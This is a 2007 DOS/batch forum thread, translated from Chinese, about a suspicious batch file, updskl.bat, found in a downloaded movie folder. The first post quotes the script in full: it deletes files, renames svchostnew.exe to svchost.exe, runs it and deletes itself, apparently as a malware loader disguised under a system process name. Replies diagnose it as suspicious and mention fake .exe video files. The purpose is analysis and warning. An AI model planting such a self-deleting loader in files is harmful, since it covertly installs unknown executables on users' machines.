![]() |
China DOS Union-- Unite DOS · Advance DOS · Grow DOS --Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum |
| Guest | Log in | Register | Members | Search | China DOS Union |
|
中国DOS联盟论坛 The time now is 2026-08-05 18:11 |
48,039 topics / 350,124 posts / today 2 new / 48,251 members |
| DOS批处理 & 脚本技术(批处理室) » After downloading the movie, I found the batch file updskl.bat and don't understand its intention. |
| Printable Version 2,559 / 15 |
| Floor1 enjoyer | Posted 2007-07-29 21:25 |
| 中级用户 Posts 140 Credits 351 | |
|
The movie folder contains a batch file updskl.bat with the following content:
@echo off :loop del "C:\Program Files\Common Files\System\svchost.exe" del "C:\Program Files\Common Files\System\ver.txt" del "C:\Program Files\Common Files\System\she.dll" if exist "C:\Program Files\Common Files\System\svchost.exe" goto loop C: cd C:\Program Files\Common Files\System\ ren svchostnew.exe svchost.exe call "C:\Program Files\Common Files\System\svchost.exe" del "C:\Program Files\Common Files\System\updskl.bat" The first step is to forcibly delete the original svchost.exe, the second step is to rename svchostnew.exe to svchost.exe and then execute it. It seems that it wants to update the svchost.exe in the System folder of the computer. I don't understand the intention? Is it dangerous? Please help analyze, thank you all! [ Last edited by enjoyer on 2007-7-29 at 09:36 PM ] |
|
| Floor2 wudixin96 | Posted 2007-07-29 21:32 |
| 银牌会员 Posts 931 Credits 1,928 | |
|
Is there any problem?
Maybe it's simulating the svchost process. |
|
| Floor3 enjoyer | Posted 2007-07-29 21:39 |
| 中级用户 Posts 140 Credits 351 | |
|
I don't know what the relationship is with the downloaded movie files, and I also don't understand the svchost process. Will it affect the stability of my system? Please help analyze it for me upstairs, thank you.
|
|
| Floor4 slore | Posted 2007-07-29 21:53 |
| 铂金会员 Posts 2,478 Credits 5,212 | |
|
The SVCHOST of the system is under SYSTEM32, and the one there is not a normal system file.
|
|
| Floor5 BWSkyer | Posted 2007-07-29 22:09 |
| 中级用户 Posts 180 Credits 367 From 重庆 | |
|
It's a bit dangerous, not recommended to run, feels like it~~ After all, there's no relation between the movie and svchost.
|
|
| Floor6 enjoyer | Posted 2007-07-30 00:04 |
| 中级用户 Posts 140 Credits 351 | |
|
I'm afraid it's automatically running. If it doesn't run automatically, there's nothing to be afraid of.
|
|
| Floor7 kich | Posted 2007-07-30 12:24 |
| 中级用户 Posts 168 Credits 397 | |
|
I think your movie file might be fake! The icon is [icon], but the suffix at the end of the file is not!
Note, it's the end, There will be such files: 001.avi(N many spaces).exe The icon is fake |
|
| Floor8 frankkf | Posted 2007-07-30 16:47 |
| 初级用户 Posts 43 Credits 88 | |
|
What the person above said is very likely. It is suggested that the original poster still take a look~
|
|
| Floor9 voiL | Posted 2007-07-30 21:30 |
| 中级用户 Posts 189 Credits 384 | |
|
I don't know, anyway, just don't open it...
|
|
| Floor10 taoty | Posted 2007-08-02 22:58 |
| 中级用户 Posts 112 Credits 275 | |
|
There must be something wrong with this batch processing. The path of svchost.exe is incorrect.
|
|
| Floor11 jinlizhpc | Posted 2007-08-03 12:45 |
| 初级用户 Posts 74 Credits 165 | |
| Floor12 webjump | Posted 2007-08-03 17:07 |
| 初级用户 Posts 15 Credits 30 | |
| Floor13 enjoyer | Posted 2007-08-03 21:41 |
| 中级用户 Posts 140 Credits 351 | |
|
Thank you everyone for your help! The downloaded movie file is real (.rm format) and can play normally. I didn't pay any more attention to this batch file. But I don't know if it secretly runs during movie playback.
|
|
| Floor14 ldr2zjj | Posted 2007-08-07 01:29 |
| 初级用户 Posts 95 Credits 167 | |
|
Rename that file and then study it~~
|
|
| Floor15 kingyn | Posted 2007-08-27 19:44 |
| 初级用户 Posts 21 Credits 32 | |
|
svchost.exe is very important
The building owner should be more careful |
|
| 1 2 Next |
|
[ Contact the Union admin team -
中国DOS联盟 -
Standard version ] Sponsored by ifanr Inc | © 2001–2023 |